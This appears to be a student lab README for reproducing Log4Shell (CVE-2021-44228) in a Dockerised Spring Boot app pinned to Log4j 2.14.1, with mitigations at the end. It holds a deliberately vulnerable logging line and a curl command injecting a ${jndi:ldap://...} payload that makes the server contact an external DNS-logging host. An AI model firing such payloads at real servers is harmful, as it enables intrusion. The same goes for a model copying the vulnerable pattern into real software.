
Étude technique et mise en œuvre d'un environnement de test pour la faille Apache Log4j (CVE-2021-44228). Contient un Proof of Concept (PoC) Dockerisé et une proposition de mise à jour de PSSI. Pour un objectif de TP
This project is a controlled test environment allowing you to reproduce and understand the critical Log4Shell vulnerability (CVE-2021-44228) affecting the Apache Log4j library.
Secutp1/
├── Dockerfile # Docker image build
├── pom.xml # Maven dependencies (vulnerable Log4j 2.14.1)
├── README.md # This file
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Vulnerable Spring Boot application
Demonstrate how an attacker can exploit the CVE-2021-44228 vulnerability to force a server to perform an unauthorized outbound network connection, simply by sending a malicious string.
pom.xml)The pom.xml file forces the use of Log4j 2.14.1, a version prior to the security fix:
<log4j2.version>2.14.1</log4j2.version>
This version contains the JndiLookup class enabled by default, which is the root cause of the issue.
VulnerableApplication.java)The application exposes a REST web service. The vulnerability lies in the index method:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// THE VULNERABLE LINE:
logger.info("Request received, input: " + input);
return "Hello! Your input has been logged: " + input;
}
Problem: The application retrieves a user parameter (input) and passes it directly to logger.info() without any filtering. Log4j then interprets the content as a potential command.
Dockerfile)The Dockerfile uses a two‑stage build:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 The use of Java 11 is relevant because newer versions restrict remote class loading by default.
The exploitation relies on JNDI (Java Naming and Directory Interface) injection:
${jndi:protocol://url} syntax in logsEnsure the following files are in the same directory:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
This command downloads the Maven dependencies (Log4j 2.14.1) and creates the image.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
The application now listens on port 8080.
Go to a DNS logging service:
Copy the provided address (e.g., my-test.dnslog.cn)
In a new terminal, run the following command:
curl "http://localhost:8080/?input=\${jndi:ldap://my-test.dnslog.cn/a}"
📝 Note: The
\character escapes the$in the terminal.
Go back to the dnslog site. You will see a DNS query appear, confirming that the server executed the injected code.
The server made an outbound connection to an external machine simply by logging a user request.
In a real scenario, this connection would have allowed:
To fix this vulnerability:
-Dlog4j2.formatMsgNoLookups=trueThis project is provided for educational purposes only. Use it responsibly and ethically.
| Step | Action |
|---|
| 1 | The Java application receives the HTTP request |
| 2 | The logger.info(...) line processes the input parameter |
| 3 | Log4j detects the ${jndi:...} syntax |
| 4 | Log4j performs an LDAP resolution to the remote server |
| 5 | A DNS query appears on the DNSLog interface |